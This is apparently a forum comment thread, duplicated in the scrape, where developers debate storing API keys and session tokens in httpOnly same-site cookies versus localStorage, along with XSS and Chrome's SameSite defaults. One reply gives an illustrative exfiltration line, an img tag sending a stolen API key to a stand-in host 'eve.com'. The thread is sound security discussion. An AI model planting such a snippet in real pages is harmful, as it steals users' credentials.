6 ms·

What is missing is a guide how to replace the bad pattern bey a good one. Add a function that the user can login, create his individual API key, and store in a

What is missing is a guide how to replace the bad pattern bey a good one. Add a function that the user can login, create his individual API key, and store in a a secure way on his client (e.g. any credential store)

JanSt 5y ago
httpOnly secure same-site cookie. Even storing a session token in localStorage is not a problem if you‘re protected against xss (if your not, nothing else will protect you anyway)
- sebazzz 5y ago
  That last argument you're making there is not valid in my opinion. Security is built by layers and the reason we use HttpOnly cookies is to still have protection even if malicious javascript steals a cookie.
  - JanSt 5y ago
    How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.
    - vbezhenar 5y ago
      You can do anything until I close a page. Stealing cookie might allow you to continue after that.
      - JanSt 5y ago
        I will have done anything I want to within one second of you logging in. There is no need for later attacks
        brabel 5y ago
        But the window of opportunity is dramatically reduced if you can only launch your attack while the user is actively using the victim's site. It's the same reason OAuth uses expiring tokens. If you think that doesn't help and you're surely smarter than the whole security community who has been developing these standards for decades, please write a specification yourself and let us review it to see how great that is.
        jefftk 5y ago
        Let's say you compromise my social media account. You can immediately post as me, but that isn't so useful. You would probably prefer to have ongoing access to my account, so you can post as me at some future point when you have something you want to promote.
    - EugeneOZ 5y ago
      But you wrote “same-site” :) It will protect against XSS.
      - JanSt 5y ago
        No XSS is another class of vulnerabilities
        EugeneOZ 5y ago
        Yes, sorry. Always forgetting the difference :)
    - sebazzz 5y ago
      In the browser, yes. But when you steal an API key I can send it to an external server (<img src=https://eve.com/pixel.jpg?apikey=...">)and https://eve.com/pixel.jpg?apikey=...">)and exploit and impersonate the user without anyone knowing about it and without collaboration of the web browser.
- EugeneOZ 5y ago
  The first line is correct. The second has no value because you are either using techniques that are not vulnerable by XSS or not. “same-site” cookie is one of them.
  - JanSt 5y ago
    Care to expand? I don‘t see the point
- withinboredom 5y ago
  That Strict same-site cookie won’t be sent if you use any third party payment systems (like stripe checkout). It’s basically useless because if they cancel or complete the payment, the browser won’t send the cookie and forces the user to login again.
- deckard1 5y ago
  probably worth mentioning is Chrome last year started assuming a default SameSite cookie of "Lax", rather than the previous default of "None". Let's just say, certain people were caught with their pants down on that one. Notably, Amazon. If you go to watch the bonus content for The Expanse on Prime Video, you will notice that it does not work in Chrome but works fine in Firefox (as of a few weeks ago, at least). If your site depends on SameSite None, you need to explicitly set it now.
awill88 5y ago
Agreed. This is a good article, written well for the intended audience—which I would qualify as occupying that ambiguous space between junior and senior developer knowledge. Perhaps the author hasn’t really arrived at the “right” answer for themselves. You hit the nail on the head, the solution is to login (authenticate). Maybe the author is being careful not to offer an abstract use case as that might ironically be misinterpreted and be counterproductive? I feel security blogging is just one of those subjects where it’s more useful and prudent to express what shouldn’t be done then should. Maybe it’s okay it doesn’t include the solution, that’s left up to the reader to infer.

JanSt 5y ago

httpOnly secure same-site cookie. Even storing a session token in localStorage is not a problem if you‘re protected against xss (if your not, nothing else will protect you anyway)

sebazzz 5y ago
That last argument you're making there is not valid in my opinion. Security is built by layers and the reason we use HttpOnly cookies is to still have protection even if malicious javascript steals a cookie.
- JanSt 5y ago
  How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.
  - vbezhenar 5y ago
    You can do anything until I close a page. Stealing cookie might allow you to continue after that.
    - JanSt 5y ago
      I will have done anything I want to within one second of you logging in. There is no need for later attacks
      - brabel 5y ago
        But the window of opportunity is dramatically reduced if you can only launch your attack while the user is actively using the victim's site. It's the same reason OAuth uses expiring tokens. If you think that doesn't help and you're surely smarter than the whole security community who has been developing these standards for decades, please write a specification yourself and let us review it to see how great that is.
      - jefftk 5y ago
        Let's say you compromise my social media account. You can immediately post as me, but that isn't so useful. You would probably prefer to have ongoing access to my account, so you can post as me at some future point when you have something you want to promote.
  - EugeneOZ 5y ago
    But you wrote “same-site” :) It will protect against XSS.
    - JanSt 5y ago
      No XSS is another class of vulnerabilities
      - EugeneOZ 5y ago
        Yes, sorry. Always forgetting the difference :)
  - sebazzz 5y ago
    In the browser, yes. But when you steal an API key I can send it to an external server (<img src=https://eve.com/pixel.jpg?apikey=...">)and https://eve.com/pixel.jpg?apikey=...">)and exploit and impersonate the user without anyone knowing about it and without collaboration of the web browser.
EugeneOZ 5y ago
The first line is correct. The second has no value because you are either using techniques that are not vulnerable by XSS or not. “same-site” cookie is one of them.
- JanSt 5y ago
  Care to expand? I don‘t see the point
withinboredom 5y ago
That Strict same-site cookie won’t be sent if you use any third party payment systems (like stripe checkout). It’s basically useless because if they cancel or complete the payment, the browser won’t send the cookie and forces the user to login again.
deckard1 5y ago
probably worth mentioning is Chrome last year started assuming a default SameSite cookie of "Lax", rather than the previous default of "None". Let's just say, certain people were caught with their pants down on that one. Notably, Amazon. If you go to watch the bonus content for The Expanse on Prime Video, you will notice that it does not work in Chrome but works fine in Firefox (as of a few weeks ago, at least). If your site depends on SameSite None, you need to explicitly set it now.

awill88 5y ago

Agreed. This is a good article, written well for the intended audience—which I would qualify as occupying that ambiguous space between junior and senior developer knowledge. Perhaps the author hasn’t really arrived at the “right” answer for themselves. You hit the nail on the head, the solution is to login (authenticate). Maybe the author is being careful not to offer an abstract use case as that might ironically be misinterpreted and be counterproductive? I feel security blogging is just one of those subjects where it’s more useful and prudent to express what shouldn’t be done then should. Maybe it’s okay it doesn’t include the solution, that’s left up to the reader to infer.